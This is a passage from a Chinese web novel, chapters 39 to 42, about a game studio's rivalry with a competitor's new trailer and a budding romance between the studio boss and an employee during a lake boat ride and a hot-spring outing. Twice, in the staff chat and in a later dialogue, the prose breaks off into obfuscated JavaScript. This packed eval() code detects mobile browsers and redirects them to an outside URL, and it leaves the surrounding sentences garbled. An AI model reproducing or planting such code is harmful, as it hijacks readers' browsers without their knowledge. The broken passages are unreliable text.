点开pv,果不其然,和《无限异变》的pv有八成的相似度,同样都是都市奇幻风格,也是现实世界突发各种变异,主角前去调查异象,解决异变的主线任务。 目前《诡秘降临》还没有放出实机演示,尚不能确定主玩法是否相撞,但光是美术和剧情风格的高度相似,就足以让围观群众把这两款未公测的游戏紧密绑定,互为竞品了。 点开评论区,情况和田妙妙预料的一样,全部都是在cue《无限异变》的。 有人谴责,这是赤裸裸抄袭《无限异变》,脸都不要了。 有人反驳,撞题材根本不算抄,顶多是碰瓷,厂商能卷起来对玩家来说是好事,只要游戏好玩就行了。再说现在哪有纯原创的游戏啊,不都是到这边缝缝,那边缝缝吗?! 有人吃瓜,光希被收购后一直没发新游,原来是在等着问天呢,真是好一对缠缠绵绵、不死不休的冤家,我真是磕了这对纯恨cp~ 有人打赌,《无限异变》和《诡秘降临》谁先公测?谁首月流水更高?谁后续运营更好?谁会先关服? 田妙妙越看,心情越沉重,《无限异变》刚刚线下小测试一波,口碑还没发酵出去,就被光希的新游pv彻底抢走了关注度。 光希如今背靠云辰科技,投资和人才两不缺,更别提云辰还掌握着大量的宣发渠道,两款游戏上线后在买量成本上有着天然的差距。 问天这边几乎都是劣势,除非能抢先公测,且质量甩《诡秘降临》一大截,才有胜算。 原本《无限异变》靠着独特的画风和玩法,只要按部就班顺利上线,质量能过得去,就能取得成功,但现在想成功的难度系数直线上升,毕竟凭空冒出个完全对标的大厂竞品来。 田妙妙虽不是开发组的成员,此时内心都升腾起巨大的担忧和强烈不安的负面情绪。 她看向顾念瑶。 顾念瑶正咬牙切齿,用长长的美甲,噼里啪吧抠字,在评论区狂骂。 嘴里念叨着:“呸,一群只知道吃剩饭的苍蝇!这辈子也做不出好游戏来!” 已经有同事把《诡秘降临》的pv发在工作室大群里,并附上一长串无语的省略号。 大群里诡异的安静,平时还时不时有人聊天吹水,此刻竟无一人发言。 发pv的同事想撤回,却过了撤回期限。 顾念瑶比较勇,她率先在群里发言,打破沉默。 顾念瑶:【老板,出了这事,咱们下午的线下测试宣传pv还发不发啊?】 很快,池修白冒头,言简意赅:【发。】 见池修白在线,不少潜水的员工开始发言。 -【光希也太无耻了吧?】 -【完了呀,云辰这是妥妥要下场针对我们啊。】 -【能不能别长他人志气、灭自己威风!】 -【你是不知道被云辰围剿有多恐怖,我之前老东家的游戏,愣是连测试服都没撑过,倒在了上线前,怎么来了问天,云辰还是阴魂不散,我都要有心理阴影了。】 -【我相信《无限异变》的游戏质量,好游戏一定会有好结果的。】 -【说实话,我要没信心了,他们那个pv看着质量挺高的。】 -【同上,心好累,感觉白忙活了。】 -【怎么办啊老板?@池修白】 群里的讨论愈发消极,甚至有胆大之辈直接艾特池修白,让他出来说句话,给大家打打气。 田妙妙划拉着群聊,手指无意识地轻轻搓动,此时无疑是问天军心涣散之际,需要有人站出来主持大局力挽狂澜。 可让池修白出面给大家打鸡血……田妙妙承认她想象不出来这个画面。 池修白终于现身:【被围剿是强者的宿命,只要问天还好好活着,这种事情就会层出不穷。】 -【难道我们就没有反击的法子了吗?】 池修白:【作品说话。】 池修白:【真正好玩的游戏永远不会被埋没。】 -【《无限异变》项目组会裁员吗?】 这是大多数员工最关注的问题,竞品游戏背景强大、气势汹汹,《无限异变》的项目组是否会削减开支、裁员重组。 池修白:【愿意留下就安心做事,如果有更好的平台,我也不强留。】 裴文山这时冒头:【哎呦,大家搞这么严肃做什么,那个pv我看过了,也没多牛嘛,基本上都是CG,实机估计连一半都实现不了,专门弄出来唬人的,放轻松啊,咱们可别自乱阵脚。】 裴文山是体验生活的乐天派,人也风趣幽默,他一说话大家情绪放松不少。 顾念瑶给她的组长热烈捧场:【就是、就是,问天必胜!光希滚犊子吧!】 渐渐的,群里也有乐观派开始发言。 -【咱们游戏质量过硬,线下首测口碑立起来了,所以云辰才按捺不住,抢着发游戏pv来狙击我们,敌人越疯狂,证明我们越强大!】 -【我无条件相信白神,如果我害怕云辰的话,根本就不会来问天。】 -【对,其实只要游戏好玩的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162471|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩家也不介意同时玩多款的,根本不是二选一的事。】 田妙妙没有在群里发言,毕竟她不是无限异变开发组的成员,不太好意思开口,感觉自己没那资格。 但她很放心不下池修白。 毕竟,光希携新游来势汹汹,明摆着屠刀是冲着他的,工作室其他人可以退,唯独他不能退,如今的压力可想而知。 面前的饭菜没了滋味,田妙妙将盒饭盖上,丢进不远处的垃圾桶中。 她跟顾念瑶告别:“我突然想起来有东西落休息室,我先过去拿一下。” 顾念瑶正忙着在《诡秘降临》的评论区和别人对线中,非常投入,眼都没抬,点点头:“行,你过去吧。” 田妙妙快步走向休息室,她调整呼吸,轻拍脸蛋,手指戳着嘴角往上提,让自己看起来乐观向上,是来安慰人而不是求安慰的。 推门进入休息室,扑空了,池修白不在。 田妙妙给他发微信:【老板你在哪?】 下一秒,池修白发来视频通话。 田妙妙顿了下,点开。 视频镜头里是湖边秋色,鹅卵石铺就的羊肠小道,小道两侧有长条形石板座椅,池修白坐在其上。 湖畔黄绿交织的垂柳随风飘荡,湖面波光粼粼,像洒满了碎金子。 会展中心依湖而建,池修白此刻就在湖边。 田妙妙吓了一跳,忙飞奔到展馆外,慌得语不成调:“池修白,你千万别想不开……” 情急之下,田妙妙直接叫了他的名字。 视频里传来轻快爽朗的笑声,笑了好一会,才说:“你该不会以为我要投湖吧?蠢货。” 磁性动听的男音低沉且上扬,“蠢货”两个字咬得又轻又缠绵,宛如情人的呢喃。 田妙妙心头颤动,知他没事,才放松下来:“对不起,你吓着我了,为什么突然去湖边?” “风景美,风吹着挺舒服,要不要过来逛逛?”他发出邀请。 “好。”哪怕可能被同事撞见,她也义无反顾地朝他走去。 一开始只是慢步走着,而后步伐越来越快,变成快走,变成小跑,变成飞奔。 好似有什么东西在背后推她。 哦。是她的心。 视频尚未挂断,她奔跑时的剧烈喘息,镜头晃动失真的画面,清清楚楚,明明白白地向他传递着,她是多么地期待,来到你身边。 池修白心情畅快,捏起脚边的小石块,手腕倏地一翻,朝湖面甩去,小石子蜻蜓点水地在湖面跳跃五六次,才坠入水中。 妙妙,傻妙妙,一个爱着他却不敢承认的小傻子。 池修白站起身,去小道的尽头迎接她。 田妙妙跑过来时,一眼就看见身姿挺拔出众的池修白,长身玉立站在堤岸边柳树下,他的身形在柳条下影影绰绰。 田妙妙喘着粗气,慢慢走过去。 她的脸红扑扑的,眼睛如水洗过一般的亮,坚定地仰着头,望向他的眼,把心头的话倒了出来:“不管遇到什么事,我都会同问天共进退。” 不,是同你共进退。 “啧,这是觉得问天要倒闭了?”池修白上手捏她的脸,唇角邪气一咧,漆黑的瞳孔印着她的身影,他宽慰道:“放心,这点小事还打不倒我,这才哪跟哪啊。” 脸颊传来的触感清晰,泛着淡淡的痒意,她默许并享受着这份出格的举动。 “嗯,我相信你。” 没有人能真正战胜你,你存在,便坚不可摧。 40. 第 40 章 田妙妙看向湖面,她第一次踏足这边,早听闻这里景色美,是个散心的好地方,身临其境后,发现传言不虚。 “这里真美,要不绕着湖转一圈?”田妙妙歪着头问。 “走吧。” 田妙妙身轻如燕,兔子似的蹦跶着走在池修白前方。 池修白长腿一迈,很快追上她的步伐,手一探,精准地握住了她的手。 田妙妙呼吸一窒,心跳如鼓点般急促猛烈。 手被捉住的感觉,让她仿佛回到了中学时期,班主任三令五申不许学生早恋,但还是有不听话的学生背着老师偷偷谈情说爱。 隐秘的、刺激的、怕被发现的感受,很容易让人肾上腺素飙升。 她应该抽回手才对,可这一刻太美好了,阳光很和煦,清风很柔软,池修白看过来的目光很缱绻。 她想这一刻要是能永恒该多好。 两人心照不宣地沿着湖边散步,迎面偶有三三两两的行人,每个身影都让田妙妙心惊肉跳,唯恐是熟人。 湖面上有可供观光游玩的电动船,两人走到售票处,池修白停下:“玩不玩?” 田妙妙不会游泳,有些怕水,她刚想摇头,就见池修白自顾自去买票了。 看来,池修白不是真的在征询她的意见,是他自己想玩,田妙妙笑了一下,心道他还真幼稚。 买好票,池修白拉着田妙妙上船,起初一直是他轻握着田妙妙的手,上船时变成田妙妙紧紧抓着他的手,用力到两人的手掌都泛白了。 “害怕?”池修白替她套上救生衣。 田妙妙点头,“我不会游泳。” “不会就去学。”池修白突然想到前段时间她说不会开车:“驾照报名了吗?” “还没呢,等展会结束的。”田妙妙摇头,叹了一口气:“好丢脸,什么都不会。” “人又不是一生下来,就什么都会的。”池修白罕见地没有嘲讽她,而是鼓励说:“不会就学,人生就是不断尝试、不断学习的过程。” 田妙妙噗呲一笑:“听起来好像成功学导师。” 池修白抬手拧了一下她的脸:“笑什么笑。” 见他抽回手,田妙妙心慌,去抓他的手,乖顺不少:“别松手。” 池修白改与她十指相扣,“这样够不够?” 他的手掌很温暖,锦衣玉食的大少爷,手也是完全没吃过苦的金贵样子,一点粗糙的茧子都没有,反衬她的手看起来更具风霜磋磨。 田妙妙别扭地支吾起来:“我拉你手是因为……我怕小船翻掉才这样的。” “我的驾驶技术很好,你放一百个心好吗?”池修白莞尔一笑,自信满满地说:“就算真翻了,我也会把你拖上岸的,我考过游泳救生员证,还有潜水证。” 池修白曾经有一段时间压力很大,迷上了沉入水下的感觉,那种出离安静的、隔绝一切的、仿佛回到母胎羊水中的感觉,让人头脑放空,忘却所有烦恼。故而,他水性极好。 “别说不吉利的话。”田妙妙赶紧打断他。 “行,胆小鬼。” 池修白发动小船,他单手掌控方向盘,轻松自如地调整方向,小船朝湖心驶去。 浪花飞溅,水声很大,扑面而来的风吹散她的长发,飞舞的发丝打在池修白的脸上,酥麻的痒意从面庞直钻进心头。 池修白微微张嘴,一缕发丝顺势飞进他的唇舌之中,他尝到淡淡的洗发水清香。 他鬼使神差地轻咬了下去。 田妙妙忽觉头皮一紧,发根有明显拉扯感,她忙用空着的那只手,将长发收拢,放到一侧的颈边。 她探究地瞟向池修白,不知道刚才是不是他搞出来的。 然而,对方神色自然,目视前方,仿佛在状况外。 田妙妙只得把心头浮现出的古怪感觉压下去,或许是她太紧张,产生了错觉。 电动船开到湖心,慢悠悠地停下来,只剩马达轻微的嗡鸣。 两人仍然是十指相扣的,池修白把两个相交的手抬起来,晃了晃手腕,调笑道:“你抓那么紧,单纯因为怕水,还是舍不得松开我的手?” 听他这么说,田妙妙赶紧要把手抽回,又被他手指突然用力夹住,故意逗她不给她抽回。 这个西装革履、精英感拉满的男人,也会展现这么幼稚的举措,实在是……有点坏坏的。两人拉扯好一会儿,才分开十指相扣的手。 湖面的波光反射到他们的脸上,池修白微眯着眼,俊美隽秀的面部轮廓,被日光镀上一层柔和明黄的边缘,像一幅笔触优美、色彩瑰丽的印象派油画。 只是看着他的脸,竟有种心旷神怡之感。田妙妙总算理解,为什么人总是更想亲近外表美好的事物。 风忽然大了一圈。本来还算稳当的小船被浪掀得剧烈晃动,田妙妙身形不稳,朝池修白方向栽去,手臂立刻被他牢牢握住。 掌心干燥温热,力道不轻不重,刚好能稳住她的身形。 “坐稳。”他声音低而淡,带着点笑意。 田妙妙羞赧,混着心惊,心跳得很快,分不清是害怕还是悸动:“要不还是回岸上吧,起风了,有点吓人。” “不用担心,这船挺稳的,风也不大。”他丝毫不慌,看她紧张兮兮,只能依赖自己的样子,产生一种别样的恶趣味。 吊桥效应吗?挺不错的。他想。 原本坐船不过一时兴起,想找个没人打扰的地方,和她安静待一会儿,没想到还有意外收获。 又一个小浪涌来,船身颠簸,田妙妙抱着他手臂,头埋下抵在他的胳膊上,死死不愿松手。 她是真的害怕。湖面辽阔,像望不到边的小型海洋,也不知道湖有多深,水下是否会有吃人的怪物,田妙妙瑟瑟发抖。 “回去吧,展会还没结束呢。”田妙妙颤声开口。 “才开了十分钟,真没劲。”池修白意犹未尽,他说:“下次带你坐游艇出海,比这好玩。” 田妙妙连连点头:“行,我们下次去,现在还是先回到岸上吧。” 池修白发动电动小船,调转船头,往回开。 田妙妙这才抬起头,看向波光粼粼的晃动的湖面,像一大片涌动的鱼鳞,周围有三两艘小船,船上的人玩得尽兴、笑得开怀,没有像她这样一脸紧张的。她想,自己是不是太煞风景、倒人胃口了。 池修白余光偶有打量她,见她眉头蹙得比方才还深,便道:“怎么了,看起来不开心啊?” “没有。”田妙妙叹气:“就是觉得自己太无聊、太沉闷了,应该没人愿意和我一起出去玩吧。” 田妙妙性格不活络,也不会热场子,提供的情绪价值也很 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他并不想田妙妙被更多的人关注到,虽然这是不现实的,她正慢慢脱去土气,将来如果逐步参与到游戏的核心事务,哪怕她什么都不改变,也会有越来越多的人注意到她,先是工作室的人,后是其他同行。她总会越走越远的。 池修白胸腔有点闷,放在以前,女伴优秀受关注,他也会与有荣焉,但现在,他不想更多的人惦记田妙妙。 作为自诩自由平等爱情观的精英人士而言,他认为这是一种观念倒退,可却阻止不了。 田妙妙不理解池修白平白无故突然生气,像是吃醋了一般,但这个想法马上被她排除掉,她不敢自大到觉得池修白会吃她的醋,单纯看她不爽、觉得她不配受欢迎的概率都更大点。 “我没想招惹谁,也自知没能力招惹谁。”田妙妙虚心反省。 “呵,你已经招惹到了。”池修白瞥了眼她,转过目光继续开船。 田妙妙诧异:“啊?谁呀?” 除了陈驰之,难道工作室还有其他人喜欢她吗? 池修白好气地咬牙道:“你猜?” 田妙妙认真想了想,当前和她接触最多的异性,除了池修白,就是同办公室的孙正阳,难道他喜欢自己?这不可能吧,孙正阳的审美取向是超大眼睛的卡哇伊日系萌妹,自己完全不符合啊…… 难道是别的部门的男生默默暗恋她,没有表现出来? “我猜不出来。”田妙妙摇头,“如果真有那么一个人的话,我很抱歉。” “老板,你怎么会知道的?”田妙妙突然追问。 她心里想的是,那人既然能被池修白注意到,应该是和他有很多接触,比如说那几个组长之类的。 江弘深?裴文山? 这更不可能了…… 他们都是收入高、能力强、外表出色的都市精英,怎么会看上她这个平凡的女孩? 而且顾念瑶还和她说过,要把裴文山拐上床呢,自己绝不可能背叛朋友! 榆木疙瘩!池修白心道。不知道是他心思隐藏得太好,还是她在故意装糊涂,居然没有觉得他对她有点不同寻常吗? “你管我怎么知道的。”池修白道:“总之,你也不要太得意!” 田妙妙:…… 她哪里得意了喂?! 41. 第 41 章 小船停到泊船处,池修白先上岸,站稳后转身,朝田妙妙伸手。 船身轻晃,田妙妙重心不稳,也不逞强,握上他递过来的手,借他的力登上了岸。 结束心惊肉跳的乘船之旅,田妙妙这才重新把突然发布的竞品游戏pv的事提起来。 “老板,《诡秘降临》会不会影响《无限异变》的开发进度啊?” “或许吧,应该会推迟上线。” “为什么啊?按理说不是应该越早上线越有利吗,推迟上线的话,被他们抢先了怎么办?” 田妙妙最近通过恶补行业相关内容,也大概了解游戏公司的商业模式,作为同期竞品,上线节奏和窗口期至关重要。 “《无限异变》不求快,要求稳,先保质量吧。”池修白轻笑了声:“而且,他们来这么一手也不全算坏事,至少也帮我们炒了热度,有他们在,能替我们省一大笔宣传费用。” “这……”田妙妙被池修白的思考角度和乐观程度折服了:“老板,为什么你一点不惊讶呢?好像早有预见一样。” 池修白不再隐瞒,坦白道:“之前去姜星订婚宴,遇到以前的同事,那时候就知道这事了。” “那你怎么不跟大家说呢?自己一个人憋着不难受吗?” “正在筹备展会的关键时期,说了只会动摇军心,也无济于事。”池修白没觉得自己这么做有何不妥,但还是问了句:“有什么问题吗?” 田妙妙摇头:“就是觉得你什么事都一个人承担,怪……怎么说呢,让人心疼的。” 池修白一愣,紧接着朗声笑了,他的笑声很蛊人,像名贵大提琴发出的悠扬乐章。 起风了,吹起田妙妙的飘逸长发,她平时习惯扎个不起眼的马尾,今天散着头发,柔顺的中分黑长直,倒也很合适,平添了一丝清冷味道。 他抬手在她头上揉了一把,咂摸了下:“被人心疼的滋味,挺不赖的。” 田妙妙脸飞速泛红,她的心意太明显了吧,欲盖弥彰地补了句:“不是我心疼,是大家都会心疼的。” “知道了。”池修白拖长声调回答。 * 两人赶回展会中心。 下午的进程一切顺利,田妙妙不用进行cos互动,在现场做一些协调工作,哪里缺人就过去搭把手。 池修白没回休息室,他在现场转了一圈,最后停留在试玩展台处。 他安静地观察玩家的面部表情和肢体动作,尤其是负面情绪,哪怕是微小的皱眉细节,他都会注意到,然后看向电脑屏幕,确认是游戏的哪个环节造成的。 比起员工收集上来的问卷调查,这才是最直接、最真实的反馈。 田妙妙会在忙碌间隙偷瞄池修白,好奇他在做什么。 他有着远超常人的专注性,一直站在试玩台处,一动也不动,仿佛化作一尊俊美无俦的石膏雕像。 田妙妙拿两瓶矿泉水过去,递给他一瓶。 两个小时没喝水,形状优美的薄唇干涸起皮,他却浑然未觉。 “谢谢。”池修白道谢,在外他会表现得礼貌疏离,不给她添麻烦。 江弘深走过来,和池修白聊今天的试玩反馈。 田妙妙在一边不言不语地听着。 江弘深见她手里拿着水,刚还给池修白一瓶,正好他口渴,伸手过去。 “啊?”田妙妙一愣。 这是问她要水的意思吧? 问题是…… “我手里这瓶被拧开喝过一口了。”田妙妙有些犯难,如实交代。 “你不是过来给试玩展台这边送水的?”江弘深皱了下眉,看向池修白面前的水:“只单独给老板送水啊……” 田妙妙不想让江弘深觉得自己心思不纯,忙把手里的水递过去:“江组长,你要是不嫌弃的话,这瓶就……” 还没说完,就被池修白强势打断:“后头有没开封的,你去搬两箱来。” 池修白才不给两人间接接吻的机会。 江弘深要汇报的东西,才说了三分之一,就被支使去搬水,一时没反应过来。 田妙妙赶紧说:“你们继续聊吧,我去搬水。”这部分本来也算她的职责范围。 江弘深一个“好”字还没说出来,池修白抢先道:“让他去,比较重。” 堆放瓶装纯净水的地方距离这里差不多五十米,她虽然也能一箱一箱地搬过来,但池修白不想她受累,这么瘦的身材,一看体力就不好。 “行,我去吧。”基本的绅士风度,江弘深还是有的。 这算是……老板的小偏心? 田妙妙看着江弘深远去的背影,内心泛起一阵小悸动。 池修白伸手,在田妙妙眼前挥了挥:“回神。” 田妙妙一激灵,扭头看他。 池修白:“想什么呢?” 田妙妙嘿嘿笑了下:“想……待会应该谢谢江组长,帮我搬水。” 池修白无语哼声:“就这么一点小事,你倒上心,我帮你那么多,也没见你要谢谢我。” 工作、住处,来到大都市打拼最重要的两项,都是池修白提供的,且不收取任何的报酬,仅靠着一封遗信的背书。 如果他们家人不认那封信,自己也无计可施,幸运的是,她得到了帮助,远超她预期的帮助。 原本田妙妙希冀的是,他们家能暂时收留她,让她有地方落脚,等她找到工作后立马搬出去,但没想到,阴差阳错之下,她直接进了他的工作室,一个从未考虑过的全新领域,并且还住进他的房子里。 在某种程度上来说,他对她有恩。 “我最该感谢的人就是你。”望着他的脸,田妙妙情不自禁地说。 池修白显然没想到她会来这么一句,不由得怔住。 片刻后,才说:“那你想好怎么感谢了吗?” 以身相许?田妙妙脑袋里最先蹦出来的念头。 更要命的是,她居然喃喃地念出来了…… 池修白又愣了一下。 这个田妙妙怎么突然发癫,语不惊人死不休。 池修白清了清嗓子,似笑非笑,傲气凌人地说:“这算感谢?岂不是我赔了夫人又折兵。” 田妙妙考虑了下,的确是他亏大发了,自己又吃又拿,还妄想以后分他一半的财产…… 颇有些白日发梦。 “我刚才瞎说的,纯纯开玩笑呢。”田妙妙讪笑了下,改口:“来生定当衔草结环,当牛做马,以报你的大恩大德。” “来生?”池修白面色耷拉下来,拿眼皮挑她:“意思是这辈子就算了呗。” “我……我这不是不知道要怎么回报你嘛。”田妙妙突然想到,古时拜师学艺,通常学会之后,要免费帮师父干三年活,才能自立门户,便说:“要不我打三年白工?” 池修白嘴角牵出一丝冷笑:“我又不是周扒皮。” “那你说怎么办嘛?”田妙妙无解了,她拥有的东西太少太少,能给他的,他也看不上眼。 “就你最开始的提议,嗯,我得考虑考虑……”池修白说,语气有些别扭。 最开始?以身相许? 现在换田妙妙怔住了。 他在开玩笑的吧…… 他这样的容貌、才华、和财富,什么样的女人谈不到? 居然还跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176563|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开这种玩笑。 唉,她很容易想歪的好不好。 “老板这是打算纾尊降贵了?就怕我福薄命浅,受不住啊。”她用玩笑话,把这个话题搪塞过去。 还没等两人继续聊下去,来了位衣着讲究、保养良好、极有气势的中年女士。 她过来找池修白,介绍了下自己,是XX食品饮料公司的市场经理,有意和《无限异变》谈联名合作。 田妙妙心头一喜。 《无限异变》尚未开始大规模测试,就有厂商提前来聊合了,证明当前市场,还是有很多商家很看好这款游戏的。 尤其是《诡秘降临》刚发布pv,不少之前有合作意向的厂商,此时都在犹豫中。现在还坚定不移地前来聊合作,无异于雪中送炭,大大提振了问天工作人员的信心。 池修白与她握了下手:“好,这里嘈杂,我们移步聊。” 等他们走后,田妙妙迫不及待地把这个好消息分享给熟人。 顾念瑶:现在来聊合作,那都是有眼光的,等游戏上线爆了之后,再聊可就不是这个价了。 田妙妙:希望能顺利谈成吧。 顾念瑶:你放心,就我们白boss那张脸,那简直无往不利、所向披靡好嘛! 田妙妙:也是。 顾念瑶:……抱歉,我以后再也不在你面前夸他了。 田妙妙:? 顾念瑶:不管怎么说,我永远和你站在统一战线! 田妙妙:…… 田妙妙这才想起来,顾念瑶这是还把她当成表白惨遭被拒的可怜娃,以为她对池修白满心怨念,听不得别人说他一点好话呢。 随便吧,她不打算解释了。 晚九点,问天工作室上传了《无限异变》新pv,放出大量新的实机镜头,质感比去年首曝pv上了一个台阶,顿时掀起一阵浪潮。 尤其是白天《诡秘降临》刚发布pv,晚上《无限异变》就发了新pv,颇有种宣战的意味。 看热闹的人更是蜂拥而至,纷纷点评起来,还有今天线下测试的玩家,发表了很高的赞许,说这个pv有所保留,线下玩的内容更丰富。 最开心的就是一直支持问天的玩家,白天刚被云辰下场做《诡秘降临》狠狠打击到了,现在就被《无限异变》的新pv治愈了,心情可谓大起大落。 不少没办法线下试玩的人,纷纷在评论区求游戏尽快开启线上内测,特别想上手体验。 由于pv的火爆效应,以及首日试玩的好口碑,第二天和第三天的试玩排队人数,极为夸张,远远的看不到头。 在现场的田妙妙无疑是又累又满足。 明明她既没有工作室的股份,又不是游戏开发人也,可却打心眼里高兴,由衷地希望游戏能顺风顺水,一路大爆。 或许这就是爱屋及乌吧。 喜欢池修白,即便知道他很强,也难免为他担忧,看不得一点失败的可能性。 三天很快过去,问天工作室的大群中,不少被抽调到现场支援的人,开始诉苦这几天的疲累。 大家你一言,我一语,直到炸出池修白。 他在群里发了个大红包,抢得最少的人也有三位数,田妙妙手气不错,抢了上千,她超级满意。 而后,池修白又发了个地址,说这段时间大家辛苦了,明天团建,放松一下。 地址是一家新建的、坐落于山中的温泉度假村。 微信群里大家欢腾不已。 明天是工作日,对于这种不占用休息日,纯玩型的团建,所有人都很期待。 田妙妙兴奋之余,突然想到,泡温泉是不是要准备泳衣? 42. 第 42 章 收工前,池修白给田妙妙发微信。 池修白:今晚不加班,可以顺便载你回去。 田妙妙:我等会有事,不直接回去。 池修白:什么事? 田妙妙:……买泳衣。 说出来的时候很羞耻,但又不打算找其他借口,忙一天够累了。 池修白:哦,我跟你一起去。 田妙妙当即拒绝:不要!你帮我挑的话,我会很不好意思的。 池修白:你在想什么?我也要买条泳裤。 田妙妙汗颜,自己真是想多了:……哦。 她并不觉得,池修白会没有泳裤穿,他可是说过他有救生员证和潜水证的,肯定经常下水的。但既然他都说要买泳裤了,她也只能猜测,或许有钱人的泳裤都是一次性的吧。 田妙妙躲开同事,做贼似的来到停车场,找到池修白的车。 每次和他单独行动,都跟演谍战片似的,心跳砰砰砰。 再这么下去,迟早工伤。 两人来到商场。泳衣区琳琅满目,露背的、吊带的、深V的、裙摆飘逸的,看得田妙妙脸颊发烫。 她下意识往最保守的区域凑,拿起一件纯黑运动款,裹得严严实实,下半身的长度到膝盖处,肩膀和脖子遮得干干净净。 “就这个。”她打定主意。 池修白眼一翻,嘴毒起来:“请问你是从中东偷渡来的吗?要不要再给你买条黑头巾配着?” 田妙妙怂了下,把手上的运动泳衣放回去,小声咕哝了句:“是我穿,又不是你穿,你哪那么多意见。” 池修白没理她,在四周扫了一眼,看到目标后眉峰微挑,径直走过去,伸手就拿起一件粉色比基尼。 布料少得田妙妙瞬间耳尖发热,移开眼去。 “不行不行!”她连忙摆手,“这个太……我不要。” “就这件。”池修白语气不容拒绝。 不仅如此,他大手一挥,一连拿了四五套不同款式和颜色的比基尼。 田妙妙简直麻木了。 拜托,他们又不是去海岛度假,只是去温泉山庄待一天而已! 要不要拿这么多啊!! 反正她是绝对不会穿的!!! 田妙妙不去管池修白的自作主张,自己专心挑选泳衣,反正刚抢了个大红包,泳衣什么的完全不差钱。 还有,池修白这人简直毫无信用,在微信上和她说,他只是来买泳裤的,结果到了商场,还不是强行帮她挑泳衣。 男人,真是一种恶趣味生物。 田妙妙最后选了套新手友好型泳衣,不同于极度保守的纯黑运动款,这套是淡蓝色,比较可爱的少女泳衣,拍照应该挺出片的。 池修白则拿着一堆比基尼去收银台结账,中间经过男士泳裤时,按价目随便扯了条贵的。 至于,田妙妙选的那套,他撇撇嘴,虽然没看上眼,但也一道刷卡结账。 第二天出发去温泉度假村,田妙妙本想赶去工作室,跟着大部队一起坐大巴,出门时被池修白一个眼神叫住。 “坐我的车。” 田妙妙只得顺从,既然他不避嫌,那她当然更乐意坐他的车,豪车总比颠簸的大巴车舒服多了。 池修白开车很稳,山间公路蜿蜒,路两边绿植葱郁,车厢里放着舒缓的纯音乐,空气中弥漫着淡淡的、高级好闻的车载香氛味。 田妙妙舒服地靠在副驾,偷偷看他专注开车的侧脸。 池修白今天穿得特别随性,和以往完全不同的风格,上身是一件夏威夷风情的花衬衫,下身是卡其色休闲短裤,还戴着太阳镜,看起来有种痞帅风流的潇洒感。 田妙妙心里甜丝丝的,又带着点不敢言说的忐忑。 她想到池修白之前说过,等展会结束后,会带她出去放松放松,不知道这场团建,是不是就是为了她准备的? 只不过这种脸大无比的猜想,田妙妙是不敢求证的。 车子停在度假村门口,田妙妙刚下车就撞见好几个工作室的同事,他们的眼神瞬间变得意味深长。 “妙妙,你怎么从白boss的车上下来了?”顾念瑶比她早到一步,两人关系亲近,便没有顾虑地开口询问情况。 田妙妙心一紧,连忙解释:“嗯,我在公交站等车,刚好碰到老板,老板心善,就顺路载我一程。” 同事们相视一笑,没再多问,可那眼神里的好奇,藏都藏不住。 不怪他们有这种反应,毕竟老板上一个载过的女人是姜星。 只是,田妙妙,实在离这个标准有点远…… 顾念瑶撞了下她的肩膀,脸上是憋不住的坏笑,“哎呦,可以嘛。” 那笑容分明在说:你真不赖啊,人家都拒绝完你了,居然还给你提供服务。 池修白走过来,跟大家说:“别堵门口,进去吧。” 众人三三两两踏入温泉山庄大门。 步入山庄,远离市井的喧嚣,唯有山风穿林,溪水潺潺的清宁。 空气是洗涤肺腑的清新,所入眼的皆是绿意盎然,宛如误入了山中仙境。 这里是重资打造的,古韵和现代化融合得恰到好处,步入大堂,挑高空间开阔疏朗,天然大理石、温润木饰面与新中式装饰相得益彰。 中央空调恒温恒湿,智能影音、新风系统全覆盖,处处都体现出低调奢华。 这样高端的温泉山庄,被池修白包场作团建活动用地。 田妙妙不由得咋舌,游戏行业真赚钱啊…… 办完入住后,顾念瑶拉田妙妙一块去换泳衣。 田妙妙原本只打算带她自己选的蓝色少女泳衣,池修白硬是把他挑的比基尼也塞了一套进去,美名其曰,钱都花了,不穿浪费,最受不了浪费的田妙妙只好妥协。 顾念瑶拿出泳衣时,田妙妙眉头一皱,这,居然和她的蓝色少女泳衣撞款了! 田妙妙无奈,只能拿出另一套粉色比基尼。 “哇噻,妙妙你居然挑这么火辣的泳衣,好出乎意料。”顾念瑶说。 田妙妙:“我带了两套,另一套和你撞款了。” 顾念瑶:“这么巧啊,我不介意和别人同款哦。” “那我全带着,冲完澡再决定穿哪个吧。” “好,不过粉色这件肯定很适合你,要不是看你cos白晴,我都没发现,你身材这么赞。” 两人边交谈,边去浴室冲澡。 田妙妙正洗澡时,小腹突然一阵坠痛。 熟悉的不适感袭来,田妙妙脸色一白——生理期提前来了。 她狼狈地关掉花洒,裹好浴袍,跟顾念瑶低声说了句:“我突然不舒服,先回房间休息了。” “怎么了?”顾念瑶关切道。 “可能是这段时间压力大,经期紊乱,大姨妈提前来了。”田妙妙叹了口气,好好的温泉享受不到了。 “啊……好惨。”顾念瑶皱了下脸:“你一个人能行吗?要不要我陪你?” 田妙妙忙拒绝,“不用、不用,你去泡吧,我回去睡一觉就好了,你就算来陪我,我也没法和你一块玩。” “那好吧,我泡完回去,给你带东西吃。” “好。”田妙妙说完后,便匆匆离开。 泡温泉时,陈驰之左顾右盼,没见到田妙妙的身影,遂来问顾念瑶:“田妙妙呢?你俩怎么没在一起?” 